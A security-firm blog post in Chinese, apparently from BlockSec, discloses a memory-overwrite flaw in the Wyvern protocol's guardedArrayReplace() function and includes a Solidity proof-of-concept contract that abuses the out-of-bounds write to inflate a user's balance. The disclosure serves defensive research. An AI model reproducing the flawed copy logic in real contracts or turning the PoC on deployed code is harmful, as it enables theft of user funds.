Back to Blog

Wyvern协议中新发现内存覆盖漏洞

Code Auditing
September 8, 2022

介绍

我们的漏洞检测系统在 Wyvern 库的最新实现中发现了一个内存覆盖漏洞。Wyvern 库隶属于 Wyvern 去中心化交易所协议,该协议曾被 OpenSea 使用。此漏洞可能导致任意存储写入

我们曾尝试联系项目方(例如通过电子邮件和社交媒体),但尚未收到任何回复。鉴于 OpenSea 已迁移至 Seaport 协议,我们认为公开详细信息是安全的。此外,我们希望分享这些发现以吸引社区的关注,因为该漏洞本身有些棘手,而其利用方式却相当有趣。

描述

易受攻击的代码可在 官方代码仓库 中找到,提交哈希为 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9。

具体而言,此漏洞位于 ArrayUtils.sol 的 _guardedArrayReplace() 函数中。顾名思义,此函数用于将一个动态大小的字节数组(第二个参数 _desired)选择性地复制到另一个字节数组(第一个参数 _array)中。请注意,此函数实现了按字(即 0x20 字节)操作,因此代码逻辑可根据除法运算结果分为两个步骤。

对于商的部分(即 words = _array.length / 0x20),第 42 至 49 行的代码将逐字(word by word)将 desired 数组复制到目标数组。此步骤按预期工作,尽管第 39 行的断言语句由于整数运算而无效。

在前一步之后,如果除法运算产生余数,则表示仍有一些字节未被正确复制。第 52 至 66 行的代码逻辑旨在处理这些字节。不幸的是,第 52 行的 if 语句错误地使用了商(words,即 _array.length / 0x20)而不是余数(array.length % 0x20)来进行检查

严重性

此漏洞可能导致任意存储写入。假设 array.length 能被 0x20 整除,复制操作实际上在循环逻辑中完成。然而,在大多数情况下,函数将进入易受攻击的逻辑尝试将 desired 数组之后的一个字复制到目标数组,这不可避免地会导致越界访问。更糟糕的是,不正确的逻辑可能被利用来覆盖目标数组末尾的一个字,这是一个未知的内存区域,可以用于任何目的。

如何利用此漏洞?

我们开发了一个 PoC 合约来演示潜在的攻击向量。PoC 合约有两个函数,第一个名为 test(),用于执行攻击;第二个只是易受攻击的 guardedArrayReplace() 函数。

具体来说,在 test() 函数中,我们首先定义了一些内存中的字节(abmask)以及一个数组(_rewards)。此处定义的 _rewards 将用于计算用户的奖励。调用 guardedArrayReplace() 函数将 a 复制到 b 并使用 mask 后,_rewards 将被加到用户的余额(即 balances[msg.sender])中。

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

我们使用 Remix 来演示结果。值得注意的是,最初我们没有为 _rewardsbalances 赋值。在利用此漏洞后,用户余额被设置为一个极大的值(如下图红色矩形所示)。

结论

虽然罕见,但此类内存覆盖漏洞仍可能存在于智能合约中。开发人员需要注意处理内存的代码逻辑。

关于 BlockSec

BlockSec 是一家开创性的区块链安全公司,成立于 2021 年,由一群全球杰出的安全专家创立。公司致力于为新兴的 Web3 世界增强安全性和可用性,以促进其大规模采用。为此,BlockSec 提供智能合约和 EVM 链安全审计服务,Phalcon 平台用于安全开发和主动阻止威胁,MetaSleuth 平台用于资金追踪和调查,以及 MetaDock 扩展,帮助 Web3 构建者高效地探索加密世界。

迄今为止,公司已服务超过 300 家知名客户,如 MetaMask、Uniswap Foundation、Compound、Forta 和 PancakeSwap,并在两轮融资中获得了来自 Matrix Partners、Vitalbridge Capital 和 Fenbushi Capital 等知名投资者的数千万美元投资。

官方网站:https://blocksec.com/

官方 Twitter 账号:https://twitter.com/BlockSecTeam

Sign up for the latest updates
Drift Protocol Incident: Multisig Governance Compromise via Durable Nonce Exploitation
Security Insights

Drift Protocol Incident: Multisig Governance Compromise via Durable Nonce Exploitation

On April 1, 2026 (UTC), Drift Protocol on Solana suffered a $285.3M loss after an attacker exploited Solana's durable nonce mechanism to delay the execution of phished multisig approvals, ultimately transferring administrative control of the protocol's 2-of-5 Squads governance with zero timelock. With full admin privileges, the attacker created a malicious collateral market (CVT), inflated its oracle price, relaxed withdrawal protections, and drained USDC, JLP, SOL, cbBTC, and other assets through 31 rapid withdrawals in approximately 12 minutes. This incident highlights how durable nonce-based delayed execution can decouple signer intent from on-chain execution, bypassing the temporal assumptions that multisig security implicitly relies on.

Weekly Web3 Security Incident Roundup | Mar 23 – Mar 29, 2026
Security Insights

Weekly Web3 Security Incident Roundup | Mar 23 – Mar 29, 2026

This BlockSec weekly security report covers eight DeFi attack incidents detected between March 23 and March 29, 2026, across Ethereum and BNB Chain, with total estimated losses of approximately $1.53M. Incidents include a $679K flawed burn mechanism exploit on the BCE token, a $512K spot-price manipulation attack on Cyrus Finance's PancakeSwap V3 liquidity withdrawal, a $133.5K flash-loan-driven referral reward manipulation on a TUR staking contract, and multiple integer overflow, reentrancy, and accounting error vulnerabilities in DeFi protocols. The report provides detailed vulnerability analysis and attack transaction breakdowns for each incident.

Newsletter -  March 2026
Security Insights

Newsletter - March 2026

In March 2026, the DeFi ecosystem experienced three major security incidents. Resolv Protocol lost ~$80M due to compromised privileged infrastructure keys, BitcoinReserveOffering suffered ~$2.7M from a double-minting logic flaw, and Venus Protocol incurred ~$2.15M following a donation attack combined with market manipulation.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit